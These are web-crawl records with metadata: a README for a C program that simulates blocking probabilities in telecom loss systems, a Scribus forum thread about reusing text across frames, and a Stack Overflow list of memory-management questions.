C Program for simulating blocking probabilities in multiservice loss systems ---------------------------------------------------------------------------- Version 2.0 , 29. Sept. 2000 Author: Jan Hlinovsky, [email protected] Organisation: Laboratory of Telecommunications Technology, Helsinki University of Technology Contents: 1. Copyright information 2. Compiling the program 3. Input file format 4. Running the program 5. References 1. Copyright information ------------------------ The program can be used and modified freely. No claims are made about the correctness of the program and no liability is taken for any damage caused by the use of the program. 2. Compiling the program ------------------------ In Unix, the program can be compiled using the make utility. Make sure you have all the following files: main.c ini.c read.c simu.c ini.h read.h simu.h structs.h Makefile The Makefile is written to be used with gcc, so if you want to use some other compiler and linker, replace the corresponding lines in the Makefile. The program uses two functions for random number generation that are not part of the standard C library, namely srand48() and drand48(). Check that you have these (e.g. "grep [sd]rand48 /usr/include/stdlib.h" ). If you don't have these functions you may want to replace them with some other random number generator that returns a value between 0 and 1. If you have gcc and the above mentioned functions, just type "make" in the directory where the source files and the Makefile are. 3. Input file format -------------------- An input file must be a text file and have the following properties: a) content of an input file is (in following order): number of classes (integer) number of links (integer) load vector rho (real) capacity vector (integer) matrix of bandwidth requirements; (integer) NOTE: nr of rows = nr of classes nr of columns = nr of links b) Every scalar number, vector, or matrix row is on its own line. c) Lines beginning with '%' are ignored (comments). d) Following letters are ignored: []{},; (blocks, braces, comma, semicolon). e) Any number of whitespace (space, tabs, newlines) is allowed, except for rule b): no newlines inside a vector or a matrix row. Examples of input files: ----------------------- The following file is a legal input file: % beginning of example file 1 ----------- 2 3 35 22 100 120 170 2 0 2 0 3 3 % end of example file 1 ------------------ The following is also legal, and more understandable input file: % begining of example file 2 ------------- %number of classes 2 %number of links 3 % load vector rho [35, 22] % capacity C [100, 120, 170] %B [[2, 0, 2] [0, 3, 3]] % end of example file 2 ------------------- 4. Running the program ---------------------- The program is started with the command ./netwsim. The input file may be given as an argument, otherwise it is asked for. Then the program asks for number of batches and batch size. The batches are used for calculating the 95% confidence interval, so the number should be several hundred. The number of samples in one batch should be a multiple of 1000, for optimal allocation of samples. After this the program will ask which class you are interested in. The program will write the point estimate of blocking probability and its 95 % confidence interval for the class that is being simulated, and the amount of processor time used for the simulation. Note that for very long simulations (e.g. hours) the clock may "overflow". example: ~ % ./netwsim inputfile Enter number of batches:400 Enter number of samples in one batch (min. 1000):5000 For which class (number) you want to run the simulation?:2 Traffic class Point estimate of Bk 95% conf int ================================================================== 2 0.0130674 [0.0130644 , 0.0130704] Simulation time: 19.490 sec 5. References ------------- The program uses a sophisticated inverse convolution method for calculating blocking probabilities. The method is described in the following paper: P. Lassila, J. Virtamo, "Nearly Optimal Importance Sampling for Monte Carlo Simulation of Loss Systems", to appear in ACM TOMACS, January 2001. The paper is available from http://www.tct.hut.fi/tutkimus/com2/
{ "url": "http://www.netlab.tkk.fi/tutkimus/com2/netwsim/v2/README", "source_domain": "www.netlab.tkk.fi", "snapshot_id": "crawl=CC-MAIN-2022-21", "warc_metadata": { "Content-Length": "4987", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:OENVDDB3DCVSMWSSWDBRTGI6SRQNS3CW", "WARC-Concurrent-To": "<urn:uuid:cf9f85ae-6c22-4f28-9022-4a9002e3fb8f>", "WARC-Date": "2022-05-29T07:44:28Z", "WARC-IP-Address": "130.233.154.176", "WARC-Identified-Payload-Type": "text/plain", "WARC-Payload-Digest": "sha1:SLLLFKVSFL442PAWMWFO6RVKLFTGMXGT", "WARC-Record-ID": "<urn:uuid:d785b9e1-6a51-4b07-805a-e5ce5a3fdd70>", "WARC-Target-URI": "http://www.netlab.tkk.fi/tutkimus/com2/netwsim/v2/README", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:96f07c6d-1b92-4f31-9b91-678e97c8fc36>" }, "warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-40\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0 ], "line_end_idx": [ 4205 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4205, "ccnet_original_nlines": 0, "rps_doc_curly_bracket": 0.00047562000690959394, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.30787035822868347, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.010416669771075249, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.30324074625968933, "rps_doc_frac_unique_words": 0.4432176649570465, "rps_doc_mean_word_length": 4.738170146942139, "rps_doc_num_sentences": 64, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.081632137298584, "rps_doc_word_count": 634, "rps_doc_frac_chars_dupe_10grams": 0.01464714016765356, "rps_doc_frac_chars_dupe_5grams": 0.03129161149263382, "rps_doc_frac_chars_dupe_6grams": 0.03129161149263382, "rps_doc_frac_chars_dupe_7grams": 0.01464714016765356, "rps_doc_frac_chars_dupe_8grams": 0.01464714016765356, "rps_doc_frac_chars_dupe_9grams": 0.01464714016765356, "rps_doc_frac_chars_top_2gram": 0.04660452902317047, "rps_doc_frac_chars_top_3gram": 0.0173102505505085, "rps_doc_frac_chars_top_4gram": 0.013315579853951931, "rps_doc_books_importance": -320.47149658203125, "rps_doc_books_importance_length_correction": -320.47149658203125, "rps_doc_openwebtext_importance": -202.32847595214844, "rps_doc_openwebtext_importance_length_correction": -202.32847595214844, "rps_doc_wikipedia_importance": -161.66818237304688, "rps_doc_wikipedia_importance_length_correction": -161.66818237304688 }, "fasttext": { "dclm": 0.29662615060806274, "english": 0.8039727807044983, "fineweb_edu_approx": 2.429680585861206, "eai_general_math": 0.9940925240516663, "eai_open_web_math": 0.5370494723320007, "eai_web_code": 0.9242140054702759 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.02", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "621.392", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "3", "label": "Academic Writing" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
1,328,633,019,618,635,000
Link text frames to duplicate text around a layout? Previous topic - Next topic Wally4 Hello I find myself inserting the same text over and over in each document. Is there a way to link text frames to adopt the text of one? For example my package design has "Limited Edition" in 5 text frames.  Each frame has its own visual properties, but is there a way to change the text in just one and have it update across all 5 text frames wile retaining each text frames properties? Including the inputs required to edit all 5 it feels tedious after doing this to a few documents. Am I missing something thats already there? Thanks! GarryP Hello Wally4 and welcome to the forum. As of 1.4.x there's no way for text frames to have contents that are dependant on the content of another frame. It might be possible to change the text of multiple frames at the same time using a script but that's probably too much work to create and test (certainly more work than just re-typing a small bit of text into a few frames). However, in 1.5.1 you can create what's currently called "variable text". With this - menu Insert -> Marks -> Variable Text - you can create a variable (e.g. give it a label of "Special" (or whatever) and text of "Limited Edition" (or whatever)). The first time you insert the variable it is created. The next time you want to use this variable you can insert the variable text mark and choose the already created variable and it will be inserted while taking on the formatting of the existing text/frame. You can change the text by selecting the text inserted, going to insert the variable mark again, selecting the appropriate variable then changing the text which will change all inserted copies. It's not a pretty way of doing things - and this might change in future versions (or the function might be dropped altogether, who knows?) - but it works. You need to be aware that the 1.5.x versions of Scribus are development versions and as such are not recommended for use in production situations (although many people are doing so). Also, anything you save with 1.5.x cannot be opened in the 1.4.x versions (so you can't go back to a stable version). It's your choice whether to use it or not.
{ "url": "https://forums.scribus.net/index.php/topic,1969.0.html?PHPSESSID=0vq3046ff3s974pjhmoqqfttpp", "source_domain": "forums.scribus.net", "snapshot_id": "CC-MAIN-2024-38", "warc_metadata": { "Content-Length": "24338", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:6ZL4YBUGLZEDTYI6HHK2O4UYK3TAUIR2", "WARC-Concurrent-To": "<urn:uuid:9ffdeb92-b9e5-4adc-b5e5-541bfcb73f38>", "WARC-Date": "2024-09-20T10:43:03Z", "WARC-IP-Address": "185.42.170.212", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:R5XJ7Z2XOMD54ZXZPB7CL6MM25HLYUJ5", "WARC-Record-ID": "<urn:uuid:20b20ea7-90b7-4421-95c6-37addddaaf84>", "WARC-Target-URI": "https://forums.scribus.net/index.php/topic,1969.0.html?PHPSESSID=0vq3046ff3s974pjhmoqqfttpp", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:65eb87d8-886f-4d26-b577-d5147a0ee669>" }, "warc_info": "isPartOf: CC-MAIN-2024-38\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-65\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 52, 53, 81, 82, 89, 90, 96, 97, 228, 229, 578, 579, 623, 624, 632, 633, 640, 641, 680, 681, 793, 794, 1019, 1020, 1267, 1268, 1721, 1722, 1877, 1878 ], "line_end_idx": [ 52, 53, 81, 82, 89, 90, 96, 97, 228, 229, 578, 579, 623, 624, 632, 633, 640, 641, 680, 681, 793, 794, 1019, 1020, 1267, 1268, 1721, 1722, 1877, 1878, 2221 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2221, "ccnet_original_nlines": 30, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.47807931900024414, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.004175370093435049, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.17327766120433807, "rps_doc_frac_unique_words": 0.4680306911468506, "rps_doc_mean_word_length": 4.4245524406433105, "rps_doc_num_sentences": 33, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.758960247039795, "rps_doc_word_count": 391, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.015028899535536766, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.034682080149650574, "rps_doc_frac_chars_top_3gram": 0.020809249952435493, "rps_doc_frac_chars_top_4gram": 0.018497109413146973, "rps_doc_books_importance": -255.5604248046875, "rps_doc_books_importance_length_correction": -255.5604248046875, "rps_doc_openwebtext_importance": -149.52255249023438, "rps_doc_openwebtext_importance_length_correction": -149.52255249023438, "rps_doc_wikipedia_importance": -94.46208190917969, "rps_doc_wikipedia_importance_length_correction": -94.46208190917969 }, "fasttext": { "dclm": 0.598315954208374, "english": 0.9190060496330261, "fineweb_edu_approx": 2.4025747776031494, "eai_general_math": 0.9897521734237671, "eai_open_web_math": 0.3984566330909729, "eai_web_code": 0.892270565032959 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.4", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "651.9", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Business", "level_3": "Office management" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-2,056,274,298,805,471,000
Use this tag for memory management or issues in programming. For questions about memory hardware issues or errors in general software, go to http://superuser.com, or http://serverfault.com if this is related to enterprise-level hardware or software. learn more… | top users | synonyms 0 votes 0answers 3 views Illegal memory access Currently trying to figure out some memory allocation problems, this is the entirety of my simplified code. Runs as expected when the global constant seedRow <= 5, but anything greater results in ... 0 votes 1answer 37 views Why r dataset takes more memory than Stata dataset written from r but read from Stata Consider the following r dataset. object.size(mtcars) 6736 bytes #writing this object as rds write.rds(mtcar,"mt.rds") #properties of the file shows it as 1.218 KB #reading back rds file ... 0 votes 0answers 7 views Apache Spark GraphX: operations performance? I want to ask several questions about GraphX and Scala performance: How fast are transformations? I know that these operations are lazy and won't computed immediately, but I just wonder how are they ... 0 votes 1answer 8 views What does the jvm option -XX:OnOutOfMemoryError=jmap do? I am trying to monitor a process (which crashed due to Out Of Memory) last time on one production machine. The process is running with -XX:OnOutOfMemoryError=jmap option. What does it mean? Does it ... -3 votes 1answer 29 views How do I clear the memory a thread used in java? I have an application in java, it connects to a database and write some reports. I want to write those reports at an specific hour every day. First I was going to use the task scheduler from windows ... 0 votes 3answers 33 views [JAVA]How to create a Ranking System then saving it to a .txt file? So, I have a "Memory Game", you can input your name, choose the difficulty(4x4 or a 6x6 game) and then start the game. When you click Start, a new Panel will pop up and the game will start. The ... 0 votes 0answers 5 views How to remove a Scene in swift OSX when another is allocated I'm having a bit of a memory issue with SpriteKit using swift in OSX. I create a gameScene as shown below in the AppDelegate.swift file let scene = GameScene(size:CGSize(width: 1920 , height: 1080), ... 0 votes 0answers 14 views SharpDX memory fragmentation I am working on a .NET 3.5 application which uses SharpDX to render tiled 2D images. Textures (Texture2D) are loaded into a cache on-demand, and are created in the managed pool. Textures are ... -1 votes 0answers 23 views ARM bare metal (no OS), Eclipse, GDB and Segger J-Link This is my first question on stackoverflow, so I'll give some background info. I have some experience with Cortex-M development and I'm now discovering Cortex-A8. I'm interessed in bare-metal ... 2 votes 1answer 48 views Memory Growth Mystery (Objective-C) I have a memory growth issue in my app. Since describing the full code here is intimidating, I narrowed it down to this simple scenario where I switch back and forth between two view controllers to ... 1 vote 1answer 49 views How to improve the performance of c# program I am trying to to extract sdf file from geodatabase.As the new sdf file created ,the memory usage by program increases.To overcome this issue I have tried to reaseing connection for sdf file and also ... 0 votes 1answer 28 views How to write a piece of java code that will consume lots of memories and the memories can be released if needed I wrote such a piece of code: public class TestClass { private static List<String> stringList = new ArrayList<>(); long num; public void testHighLoad() { ... 0 votes 1answer 13 views Why does a JVM report more committed memory than the linux process resident set size? When running a Java app (in YARN) with native memory tracking enabled (-XX:NativeMemoryTracking=detail see https://docs.oracle.com/javase/8/docs/technotes/guides/vm/nmt-8.html and ... 0 votes 1answer 8 views Why would a program compiled for a SPARC ISA read an integer differently than on a Pentium ISA? A program compiled for a SPARC ISA writes a 32-bit unsigned integer 0xABCDEF01 to a file, and reads it back correctly. The same program compiled for a Pentium ISA also works correctly. However, when ... 0 votes 3answers 67 views Is a memory leak possible with a stack-allocated array? I'm still comparatively new to C++ but I'm mostly working off of C++11 features which generally save me from memory leaks. Still, working with other older libraries, there's unfortunately times I need ... 0 votes 2answers 24 views Declare __global object inside kernel I tried to declare a __global memory chunk inside the kernel, like __global float arr[200]; I assume this would create an array in the global memory that I could referred to in the kernel. The ... 0 votes 1answer 33 views Efficiently storing DNA base-pair data in RAM? [on hold] Very related to this question: Most efficient way to store a big DNA sequence? and this one: Declaring a new data type for DNA I'd like to find a way to efficiently store long sets of the characters ... 0 votes 0answers 7 views CoreImage Keeps Filtered Image in Memory I am working with CoreImage in Swift to make a blurry background. @IBOutlet weak var backgroundImage: UIImageView! override func viewDidLoad() { super.viewDidLoad() // Background Image let ... 2 votes 1answer 32 views difference between tuple memory allocation and normal variable memory allocation >>> a = 300 >>> b = 300 >>> id(a) 34709776 >>> id(b) 34709824 In above case a and b memory locations are not same >>> (a, b) = 300, 300 >>> ... 1 vote 1answer 18 views Does (Android) Apps shared memory pages? If two Android app uses a shared C library, will Android shared memory pages between them like linux? What about Java libraries? Is there any memory sharing happen at the JVM level depending how the ... 0 votes 0answers 20 views Large ram consumption and occasional freezing in android app So my app is taking up 80MB or RAM and occasionally when switching between activities, the screen goes black and it takes over a minute for the proper content to appear. All it does is load listviews ... 0 votes 0answers 37 views How php files are executed I am not sure that I correctly understand how php works in general. I will explain how I understand it. When you are making request to webpage for example http://supersite.com/index.php firstly ... -1 votes 0answers 39 views How to accurately measure a single process' memory usage in Ubuntu? I have an Ubuntu C++ program and I'm trying to detect when I'm leaking memory. I determine how much memory the program is using by reading in the VmRSS line of the /proc/<pid>/status file, but ... 0 votes 0answers 15 views Disappearing Memory Leak I'm using Valgrind to track and debug memory leaks in my application, and I've come across some odd behavior. The application seems to have a memory leak coming from an STL vector heap allocation ... -1 votes 2answers 23 views Destructor of an n-ary tree struct I have the following code: const int MAXCHILD = 10; struct Node { Node *child[10]; Node(); void deleteNode(Node *n); ~Node(); }; Node::Node() { for(int i=0; i<MAXCHILD; i++) ... 0 votes 2answers 36 views PHPExcel Fatal error: Allowed memory size I use PHPexcel to open a .xlsx file (on ovh mutualized server) and encountered problems that I solved. I have a new problem when saving the the modified file : "Fatal error: Allowed memory size of ... 2 votes 1answer 46 views C++: Large dynamic array of structs that rarely changes size, Is Vector necessary? I have many large arrays of structs, and the size of the array will rarely ever change in max size, and when it does, it's acceptable. I figure I should have one big allocated block that I can keep ... 1 vote 0answers 7 views Linux lock ordering about zone->lock & inode->lock I want to block all the memory so I overlaped zone's lock and inode's lock like this struct zone *node_zones = &NODE_DATA(0)->node_zones; for(zone = node_zones; zone - node_zones < ... 3 votes 3answers 66 views NumPy tensordot MemoryError I have two matrices -- A is 3033x3033, and X is 3033x20. I am running the following lines (as suggested in the answer to another question I asked): n, d = X.shape c = X.reshape(n, -1, d) - ... 1 vote 3answers 36 views for loop only printing half the values (working with vectors) The for loop in main that is suppose to pop_back the values is only printing half the values in the array. However, when i write (i <= user) it prints all the values. MyVector.h ... 0 votes 0answers 21 views C++ - Global variable performance when it is likely in the cache I'm trying to understand if my global variable usage which is being done for convenience and ease of assembly generation has a positive side-effect or not (I guess I'm looking to rid myself of the ... 0 votes 0answers 7 views Page cache, and virtual memory so recently i was reading about virtual memory for linux (i really love linux) and have a question regarding page caches. the virtual memory is a page table that stores addresses of data. Is there a ... 1 vote 1answer 41 views Swing Components taking up large amount of memory I created a table out of JLabels. I made it so that when the Jpanel the labels are in are resized, the text will scale accordingly. I initially forgot to set the default close operation on the JFrame ... -4 votes 0answers 43 views What kind of problems could generate defining a string type? I've been using for a while the following line to create my own string type and make it easier to declare this kind of data: typedef char *string; Since I am trying to learn more about doing things ... 0 votes 0answers 17 views IOS - Memory Management - Recursive call to NSURLConnection causes Memory Usage to Increase I have a function that gets called recursively to get new data from the database depending on the latest date. My problem is that this recursive call made causes memory usage to increase. I have ... 0 votes 2answers 14 views Evernote Java API java.lang.OutOfMemoryError: Java heap space when calling listNotebooks I am trying to obtain list of notes for my web app. I am using NoteStoreClient to obtain list on Notebooks then list of notes for every found notebook. Here is my method constucting the client ... 0 votes 0answers 16 views Memory integrity of C# applications (XNA) Recently, I realized that the memory stored in XNA's RenderTarget2D datastructures may be lost on various (somewhat unpredictable) occasions (Screen lock, Moving the application window over to a ... 0 votes 1answer 24 views SDRAM bidirectionality - do reads & writes count the same in 'official' bandwidth figures? Is SDRAM capable of loading and storing simultaneously? If so, how does storing and loading simultaneously effect bandwidth? Does the overall bandwidth, as the sum of the store and load bandwidth, ... 0 votes 3answers 49 views Issue with managing pointer to int array I'm having some problem with my code, it crashes when I enter the value of n. I have entered what I think the code should do. I guess there is an issue with the pointer to *a[i] which cause the ... 1 vote 1answer 49 views How can I reduce the memory footprint of this numpy gradient descent code? I'm new to numpy and still can't understand how it handles memory. I know my code is not optimal in terms of memory but couldn't really think of other ways without understanding how the memory is ... 3 votes 2answers 51 views when I refresh the page, memory usage get more, why? and how can I fix it? I have a file called memory_usage_test.php. something like this: // memory_usage_test.php <?php echo memory_get_usage(); ?> when I run that, the output is 58480 , and when I refresh ... 0 votes 1answer 16 views Equivalent system call to vm_copy on linux Is there a way to create a copy-on-write doublemapping of a region of virtual memory in linux similar to how vm_copy[1][2] works, which is available on OSes such as Hurd and OSX? Specifically, not ... 0 votes 0answers 18 views Browser Memory fluctuating while application sits idle. Why? I am trying to profile my application since its sluggish.I am not very versed with performance related issues. One thing that I noticed(Chrome,safari) is memory fluctuates , it increases and after ... 0 votes 2answers 39 views C++ Destructor - Explicit calls in an Inheritance context I am not sure how pertinent my question is, but here it goes. I know that we should only call the destructor explicitly when we allocated memory on the heap. So let's say we have two classes: Animal ... 0 votes 0answers 17 views How to clear memory when remove view from WindowManager My app uses: WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); I add the view to windowManager via code: MyContextWrapper myContextWrapper= new ... 0 votes 0answers 11 views Benefits and drawbacks of storing javascript objects in a registry and referencing them by name I am working on some javascript code which contains a few constructor functions which are stored by reference throughout the application. For performance, is it better if I make a registry object ... 0 votes 0answers 5 views In Visual Studio 2012, can I run the Memory Allocation Profiler against a unit test? When I right click on a unit test in VS 2012, there is an option to run the Profiler, but it always runs the performance profiler, not the memory allocation profiler. Is there a way to get it to run ... 2 votes 0answers 37 views Yes/No Window display scrambled. What are the cause? There is a vb6 built desktop application EXE running in Windows environment. Sometimes, when the prompt window loads it is all scrambled. When I minimize the window and then re-open, it is fixed. Any ... 1 vote 1answer 38 views Trace for function name from the output of cuda-memcheck I'm running to cuda-memcheck to debug my code and the output is as follows ========= Program hit cudaErrorCudartUnloading (error 29) due to "driver shutting down" on CUDA API call to cudaFree. ... 1 vote 2answers 87 views Are stack variables allocated contiguously in virtual memory? I am compiling the below program in C: void function(int a, int b, int c) { char buffer1[11]; char buffer2[3]; char buffer3[1]; char buffer4[1]; } void main() { function(1,2,3); } using the ...
{ "url": "http://stackoverflow.com/questions/tagged/memory", "source_domain": "stackoverflow.com", "snapshot_id": "crawl=CC-MAIN-2015-27", "warc_metadata": { "Content-Length": "180714", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:YB42YIFFLNDKHNROWNPY3NKW7ITTEEA7", "WARC-Concurrent-To": "<urn:uuid:713df77e-0035-44ee-9619-959babd289b9>", "WARC-Date": "2015-07-03T02:42:39Z", "WARC-IP-Address": "198.252.206.16", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:KCBATFHI66UXMRQKFHSRN2UABPMUH7R5", "WARC-Record-ID": "<urn:uuid:dee77886-80b5-483c-a843-e9eb2ad744b7>", "WARC-Target-URI": "http://stackoverflow.com/questions/tagged/memory", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:2244bdf6-3c38-4e13-bebc-9327cf9e46ac>" }, "warc_info": "robots: classic\r\nhostname: ip-10-179-60-89.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-27\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for June 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 250, 251, 286, 287, 289, 295, 304, 312, 313, 335, 336, 536, 538, 544, 552, 561, 562, 648, 649, 840, 842, 848, 857, 865, 866, 911, 912, 1115, 1117, 1123, 1131, 1139, 1140, 1197, 1198, 1400, 1403, 1409, 1417, 1426, 1427, 1476, 1477, 1680, 1682, 1688, 1697, 1706, 1707, 1775, 1776, 1974, 1976, 1982, 1991, 1999, 2000, 2061, 2062, 2265, 2267, 2273, 2282, 2291, 2292, 2321, 2322, 2517, 2520, 2526, 2535, 2544, 2545, 2600, 2601, 2797, 2799, 2805, 2813, 2822, 2823, 2859, 2860, 3062, 3064, 3069, 3077, 3086, 3087, 3132, 3133, 3337, 3339, 3345, 3353, 3362, 3363, 3475, 3476, 3634, 3636, 3642, 3650, 3659, 3660, 3746, 3747, 3931, 3933, 3939, 3947, 3955, 3956, 4052, 4053, 4256, 4258, 4264, 4273, 4282, 4283, 4339, 4340, 4545, 4547, 4553, 4562, 4571, 4572, 4610, 4611, 4808, 4810, 4816, 4824, 4833, 4834, 4891, 4892, 5095, 5097, 5103, 5112, 5120, 5121, 5162, 5163, 5356, 5358, 5364, 5372, 5381, 5382, 5463, 5464, 5608, 5610, 5615, 5623, 5632, 5633, 5674, 5675, 5878, 5880, 5886, 5895, 5904, 5905, 5966, 5967, 6171, 6173, 6179, 6188, 6197, 6198, 6225, 6226, 6424, 6427, 6433, 6442, 6451, 6452, 6520, 6521, 6718, 6720, 6726, 6735, 6744, 6745, 6770, 6771, 6971, 6974, 6980, 6989, 6998, 6999, 7034, 7035, 7213, 7215, 7221, 7230, 7239, 7240, 7282, 7283, 7484, 7486, 7492, 7500, 7509, 7510, 7593, 7594, 7796, 7798, 7803, 7812, 7820, 7821, 7872, 7873, 8058, 8060, 8066, 8075, 8084, 8085, 8113, 8114, 8307, 8309, 8314, 8323, 8332, 8333, 8395, 8396, 8578, 8580, 8586, 8595, 8604, 8605, 8670, 8671, 8872, 8874, 8880, 8889, 8897, 8898, 8929, 8930, 9133, 9135, 9140, 9148, 9157, 9158, 9208, 9209, 9413, 9416, 9422, 9431, 9440, 9441, 9502, 9503, 9705, 9707, 9713, 9722, 9731, 9732, 9824, 9825, 10024, 10026, 10032, 10041, 10050, 10051, 10140, 10141, 10338, 10340, 10346, 10355, 10364, 10365, 10407, 10408, 10607, 10609, 10615, 10623, 10632, 10633, 10724, 10725, 10926, 10928, 10934, 10943, 10952, 10953, 10994, 10995, 11193, 11195, 11200, 11208, 11217, 11218, 11293, 11294, 11494, 11496, 11502, 11511, 11520, 11521, 11596, 11597, 11783, 11785, 11791, 11799, 11808, 11809, 11852, 11853, 12054, 12056, 12062, 12071, 12080, 12081, 12142, 12143, 12344, 12346, 12352, 12361, 12370, 12371, 12429, 12430, 12633, 12635, 12641, 12650, 12659, 12660, 12716, 12717, 12895, 12897, 12903, 12912, 12921, 12922, 13018, 13019, 13219, 13221, 13227, 13236, 13244, 13245, 13330, 13331, 13534, 13536, 13542, 13551, 13560, 13561, 13614, 13615, 13819, 13821, 13826, 13834, 13843, 13844, 13901, 13902, 14099, 14101, 14106, 14115, 14124, 14125, 14187, 14188 ], "line_end_idx": [ 250, 251, 286, 287, 289, 295, 304, 312, 313, 335, 336, 536, 538, 544, 552, 561, 562, 648, 649, 840, 842, 848, 857, 865, 866, 911, 912, 1115, 1117, 1123, 1131, 1139, 1140, 1197, 1198, 1400, 1403, 1409, 1417, 1426, 1427, 1476, 1477, 1680, 1682, 1688, 1697, 1706, 1707, 1775, 1776, 1974, 1976, 1982, 1991, 1999, 2000, 2061, 2062, 2265, 2267, 2273, 2282, 2291, 2292, 2321, 2322, 2517, 2520, 2526, 2535, 2544, 2545, 2600, 2601, 2797, 2799, 2805, 2813, 2822, 2823, 2859, 2860, 3062, 3064, 3069, 3077, 3086, 3087, 3132, 3133, 3337, 3339, 3345, 3353, 3362, 3363, 3475, 3476, 3634, 3636, 3642, 3650, 3659, 3660, 3746, 3747, 3931, 3933, 3939, 3947, 3955, 3956, 4052, 4053, 4256, 4258, 4264, 4273, 4282, 4283, 4339, 4340, 4545, 4547, 4553, 4562, 4571, 4572, 4610, 4611, 4808, 4810, 4816, 4824, 4833, 4834, 4891, 4892, 5095, 5097, 5103, 5112, 5120, 5121, 5162, 5163, 5356, 5358, 5364, 5372, 5381, 5382, 5463, 